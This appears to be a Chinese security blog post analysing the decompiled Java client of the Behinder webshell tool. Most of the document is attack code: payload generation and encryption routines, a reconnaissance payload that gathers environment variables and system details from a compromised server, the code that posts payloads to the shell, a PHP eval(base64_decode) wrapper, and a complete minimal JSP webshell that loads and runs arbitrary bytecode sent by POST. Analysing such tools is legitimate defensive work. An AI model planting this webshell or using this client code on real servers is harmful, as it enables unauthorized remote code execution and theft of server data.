冰蝎(二)Java客户端实现

2022-11-11 13,997

前言

冰蝎解析(一)分析了Java服务端的具体实现,通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的,那么接着上次的思路继续分析下冰蝎客户端的实现原理。

冰蝎Java客户端实现

利用jd-gui简单看下冰蝎的源码,其中net.rebeyond.behinder为其核心代码,其中core.ShellService.class为Webshell的操作类,负责调用其他类实现加解密、获取服务端基本信息、命令执行等;payload.java下class文件为Java服务端的具体实现,可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组;utils.Utils.class为通用操作的具体实现,如payload传输、接收返回结果并解析等。





如上,我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程,我们再来看下冰蝎客户端的具体实现过程。

获取BasicInfo.class 字节数组

ShellService.class中getBasicInfo方法,调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组;调用Utils.requestAndParse()发送payload并解析返回值。

 public String getBasicInfo(String whatever) throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap<>();
    params.put("whatever", whatever);
     //获取BasicInfo.class 字节数据,其中包含此payload的解密与生成过程
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    //发送payload并解析返回结果
     Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
    try {
      //解密返回结果
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("+ new String(resData, "UTF-8"));
    } 
    return result;
  }

跟进去到Utils.getData(),当传入的type参数为jsp时进入Params.getParamedClass(),获取对应className的字节数组,将其加密和编码处理并返回。





 public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
    if (type.equals("jsp")) {
      byte[] bincls = Params.getParamedClass(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.Encrypt(bincls, key);
      String basedEncryBincls = Base64.encode(encrypedBincls);
      return basedEncryBincls.getBytes();
    } 
    if (type.equals("php")) {
      byte[] bincls = Params.getParamedPhp(className, params);
      bincls = Base64.encode(bincls).getBytes();
      bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
      return Base64.encode(encrypedBincls).getBytes();
    } 
    if (type.equals("aspx")) {
      byte[] bincls = Params.getParamedAssembly(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
      return encrypedBincls;
    } 
    if (type.equals("asp")) {
      byte[] bincls = Params.getParamedAsp(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key);
      return encrypedBincls;
    } 
    return null;
  }
  
继续进入Params.getParamedClass(className, params)方法,通过ASM框架将clsName对应的class文件转化成字节数组并返回。
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {
    String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class"new Object[] { clsName });
    ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s"new Object[] { clsName }));
    ClassWriter cw = new ClassWriter(1);
    classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) {
          public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            if (params.containsKey(filedName)) {
              String paramValue = (String)params.get(filedName);
              return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            } 
            return super.visitField(arg0, filedName, arg2, arg3, arg4);
          }
        }0);
    byte[] result = cw.toByteArray();
    String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s"new Object[] { clsName });
    if (!clsName.equals("LoadNativeLibrary")) {
      String newClassName = getRandomClassName(oldClassName);
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes()));
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes()));
    } 
    result[7] = 50;
    return result;
  }

BasicInfo.class的具体实现

以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程,看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法,在此方法中完成了response、response、seesion对象的获取;服务端基本信息的获取、加密;结果的返回和解析。

public boolean equals(Object obj) {
    String result = "";
    try {
        //获取response、response、seesion对象
      fillContext(obj);
        //获取服务端基本信息
      StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>");
      Map<String, String> env = System.getenv();
      for (String name : env.keySet())
        basicInfo.append(name + "=" + (String)env.get(name) + "<br/>"); 
      basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>");
      Properties props = System.getProperties();
      Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
      for (Map.Entry<Object, Object> entry : entrySet)
        basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString()); 
      String currentPath = (new File("")).getAbsolutePath();
      String driveList = "";
      File[] roots = File.listRoots();
      for (File f : roots)
        driveList = driveList + f.getPath() + ";"
      String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
      Map<String, String> entity = new HashMap<>();
      entity.put("basicInfo", basicInfo.toString());
      entity.put("currentPath", currentPath);
      entity.put("driveList", driveList);
      entity.put("osInfo", osInfo);
      entity.put("arch", System.getProperty("os.arch"));
        //将结果写入json字符串
      result = buildJson(entity, true);
    } catch (Exception exception) {
      try {
          
        Object so = this.Response.getClass().getMethod("getOutputStream"new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write"new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush"new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close"new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception1) {}
    } finally {
      try {
          //将结果写入response对象
        Object so = this.Response.getClass().getMethod("getOutputStream"new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write"new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush"new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close"new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception) {}
    } 
    return true;
  }


private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
      this.Request = obj.getClass().getMethod("getRequest"new Class[0]).invoke(obj, new Object[0]);
      this.Response = obj.getClass().getMethod("getResponse"new Class[0]).invoke(obj, new Object[0]);
      this.Session = obj.getClass().getMethod("getSession"new Class[0]).invoke(obj, new Object[0]);
    } else {
      Map<String, Object> objMap = (Map<String, Object>)obj;
      this.Session = objMap.get("session");
      this.Response = objMap.get("response");
      this.Request = objMap.get("request");
    } 
    this.Response.getClass().getMethod("setCharacterEncoding"new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
  }


//将服务端基本信息写入json字符串的具体实现
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    for (String key : entity.keySet()) {
      sb.append(""" + key + "":"");
      String value = ((String)entity.get(key)).toString();
      if (encode)
        if (version.compareTo("1.9") >= 0) {
          getClass();
          Class<?> Base64 = Class.forName("java.util.Base64");
          Object Encoder = Base64.getMethod("getEncoder"null).invoke(Base64, null);
          value = (String)Encoder.getClass().getMethod("encodeToString"new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
        } else {
          getClass();
          Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
          Object Encoder = Base64.newInstance();
          value = (String)Encoder.getClass().getMethod("encode"new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
          value = value.replace("n""").replace("r""");
        }  
      sb.append(value);
      sb.append("",");
    } 
    sb.setLength(sb.length() - 1);
    sb.append("}");
    return sb.toString();
  }

//AES加密结果
private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute"new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
  }

发送payload并解析返回结果

Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
    //解密返回结果
    result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("请求失败:"new String(resData, "UTF-8"));
    } 
return result;

Utils.requestAndParse()

 public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
    Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
    byte[] resData = (byte[])resultObj.get("data");
    if (beginIndex != 0 || endIndex != 0)
      if (resData.length - endIndex >= beginIndex)
        resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);  
    resultObj.put("data", resData);
    return resultObj;
  }

Utils.sendPostRequestBinary():构造POST请求发送payload到服务端并获取response返回结果

public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
    HttpURLConnection conn;
    Map<String, Object> result = new HashMap<>();
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    URL url = new URL(urlPath);
    if (MainController.currentProxy.get("proxy") != null) {
      Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
      conn = (HttpURLConnection)url.openConnection(proxy);
    } else {
      conn = (HttpURLConnection)url.openConnection();
    } 
    conn.setConnectTimeout(15000);
    conn.setUseCaches(false);
    conn.setRequestMethod("POST");
    if (header != null) {
      Object[] keys = header.keySet().toArray();
      Arrays.sort(keys);
      for (Object key : keys)
        conn.setRequestProperty(key.toString(), header.get(key)); 
    } 
    conn.setDoOutput(true);
    conn.setDoInput(true);
    conn.setUseCaches(false);
    OutputStream outwritestream = conn.getOutputStream();
    outwritestream.write(data);
    outwritestream.flush();
    outwritestream.close();
    if (conn.getResponseCode() == 200) {
      String encoding = conn.getContentEncoding();
      if (encoding != null) {
        if (encoding != null && encoding.equals("gzip")) {
          GZIPInputStream gZIPInputStream = null;
          gZIPInputStream = new GZIPInputStream(conn.getInputStream());
          DataInputStream din = new DataInputStream(gZIPInputStream);
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } else {
          DataInputStream din = new DataInputStream(conn.getInputStream());
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } 
      } else {
        DataInputStream din = new DataInputStream(conn.getInputStream());
        byte[] buffer = new byte[1024];
        int length = 0;
        while ((length = din.read(buffer)) != -1)
          bos.write(buffer, 0, length); 
      } 
    } else {
      DataInputStream din = new DataInputStream(conn.getErrorStream());
      byte[] buffer = new byte[1024];
      int length = 0;
      while ((length = din.read(buffer)) != -1)
        bos.write(buffer, 0, length); 
      throw new Exception(new String(bos.toByteArray(), "GBK"));
    } 
    byte[] resData = bos.toByteArray();
    result.put("data", resData);
    Map<String, String> responseHeader = new HashMap<>();
    for (String key : conn.getHeaderFields().keySet())
      responseHeader.put(key, conn.getHeaderField(key)); 
    responseHeader.put("status", conn.getResponseCode() + "");
    result.put("header", responseHeader);
    return result;
  }

在payload.java下所有的payload均是通过这种模式使用的。

编写一个Demo

编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行,只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp

<%@ page import="java.util.Base64" %>
<%
    class U extends ClassLoader{
        Class g(byte[] bs){
            return super.defineClass(bs,0,bs.length);
        }
    }
    if (request.getMethod().equals("POST")){
        byte[] bs = Base64.getDecoder().decode(request.getReader().readLine());
        new U().g(bs).newInstance().equals(pageContext);
    }
%>




加密与密钥

payload加密

冰蝎使用AES加密传输payload,加密逻辑在net/rebeyond/core/Crypt.java。





在Utils.getData方法被调用将payload AES加密。





密钥协商

冰蝎3采用了预共享密钥确定密钥,逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。





1、取客户端输入password MD5前16位作为currentKey。

this.currentKey = Utils.getKey(this.currentPassword);








2、环境为jsp,生成随机字符串content通过echo方法发送给服务端,payload加密使用的key为1中生成的key,以服务端返回值与content是否相等来判定客户端key是否正确;





其中echo方法的实现原理与getBasicInfo实现原理相同:通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.









3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。





构造一个get请求发起握手,形如:http://1.1.1.1/bx.jsp?pass=123





结果判断和key提取





获取key的测试Demo,后续所有操作都依赖此key的加密。

总结

站在巨人肩膀上看世界。致谢项目作者:

rebeyond-https://github.com/rebeyond/Behinder

E

N

D


本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/190863.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号